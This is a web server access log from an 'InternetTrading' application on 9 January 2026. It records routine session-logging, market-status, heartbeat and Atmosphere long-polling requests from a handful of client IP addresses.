[09/Jan/2026:15:19:26 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:19:26 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:19:27 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:19:27 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:19:27 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943452379 HTTP/1.1" -
[09/Jan/2026:15:19:28 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943444241 HTTP/1.1" -
[09/Jan/2026:15:19:29 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943438666 HTTP/1.1" -
[09/Jan/2026:15:19:30 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943440415 HTTP/1.1" -
[09/Jan/2026:15:19:31 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:19:31 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:19:31 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943441365 HTTP/1.1" -
[09/Jan/2026:15:19:32 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943457413 HTTP/1.1" -
[09/Jan/2026:15:19:33 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943449276 HTTP/1.1" -
[09/Jan/2026:15:19:34 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943443752 HTTP/1.1" -
[09/Jan/2026:15:19:35 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943445494 HTTP/1.1" -
[09/Jan/2026:15:19:36 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:19:36 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:19:36 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943446384 HTTP/1.1" -
[09/Jan/2026:15:19:37 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943462486 HTTP/1.1" -
[09/Jan/2026:15:19:38 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943454338 HTTP/1.1" -
[09/Jan/2026:15:19:40 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:19:40 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:19:40 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:19:40 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:19:40 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943448821 HTTP/1.1" -
[09/Jan/2026:15:19:40 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943450534 HTTP/1.1" -
[09/Jan/2026:15:19:41 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943451406 HTTP/1.1" -
[09/Jan/2026:15:19:42 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943467552 HTTP/1.1" -
[09/Jan/2026:15:19:43 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943459433 HTTP/1.1" -
[09/Jan/2026:15:19:44 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:19:44 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:19:45 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943454040 HTTP/1.1" -
[09/Jan/2026:15:19:45 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943455640 HTTP/1.1" -
[09/Jan/2026:15:19:47 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943456435 HTTP/1.1" -
[09/Jan/2026:15:19:47 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943472581 HTTP/1.1" -
[09/Jan/2026:15:19:48 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943464512 HTTP/1.1" -
[09/Jan/2026:15:19:49 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:19:49 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:19:50 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943459182 HTTP/1.1" -
[09/Jan/2026:15:19:50 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943460711 HTTP/1.1" -
[09/Jan/2026:15:19:52 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943461480 HTTP/1.1" -
[09/Jan/2026:15:19:52 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943477605 HTTP/1.1" -
[09/Jan/2026:15:19:54 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943469541 HTTP/1.1" -
[09/Jan/2026:15:19:54 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:19:54 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:19:55 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943464312 HTTP/1.1" -
[09/Jan/2026:15:19:55 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943465780 HTTP/1.1" -
[09/Jan/2026:15:19:56 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:19:56 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:19:56 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:19:57 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:19:57 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:19:57 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:19:57 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943466517 HTTP/1.1" -
[09/Jan/2026:15:19:57 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943482681 HTTP/1.1" -
[09/Jan/2026:15:19:59 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943474863 HTTP/1.1" -
[09/Jan/2026:15:20:00 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943469379 HTTP/1.1" -
[09/Jan/2026:15:20:01 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943470866 HTTP/1.1" -
[09/Jan/2026:15:20:01 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:20:01 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:20:02 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943471536 HTTP/1.1" -
[09/Jan/2026:15:20:02 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943487742 HTTP/1.1" -
[09/Jan/2026:15:20:04 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943479894 HTTP/1.1" -
[09/Jan/2026:15:20:05 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943474464 HTTP/1.1" -
[09/Jan/2026:15:20:06 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943475952 HTTP/1.1" -
[09/Jan/2026:15:20:06 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:20:06 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:20:07 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943476573 HTTP/1.1" -
[09/Jan/2026:15:20:07 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943492769 HTTP/1.1" -
[09/Jan/2026:15:20:09 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943484968 HTTP/1.1" -
[09/Jan/2026:15:20:10 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:20:10 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:20:10 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:20:10 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:20:10 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943479623 HTTP/1.1" -
[09/Jan/2026:15:20:11 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943480993 HTTP/1.1" -
[09/Jan/2026:15:20:12 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943481605 HTTP/1.1" -
[09/Jan/2026:15:20:13 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943498197 HTTP/1.1" -
[09/Jan/2026:15:20:14 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943490080 HTTP/1.1" -
[09/Jan/2026:15:20:14 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:20:14 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:20:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943484769 HTTP/1.1" -
[09/Jan/2026:15:20:16 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943486067 HTTP/1.1" -
[09/Jan/2026:15:20:17 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943486645 HTTP/1.1" -
[09/Jan/2026:15:20:19 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943504186 HTTP/1.1" -
[09/Jan/2026:15:20:19 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943495207 HTTP/1.1" -
[09/Jan/2026:15:20:20 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:20:20 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:20:21 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943489890 HTTP/1.1" -
[09/Jan/2026:15:20:21 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943491146 HTTP/1.1" -
[09/Jan/2026:15:20:22 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943491688 HTTP/1.1" -
[09/Jan/2026:15:20:24 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767943500236 HTTP/1.1" -
[09/Jan/2026:15:20:24 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:20:24 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
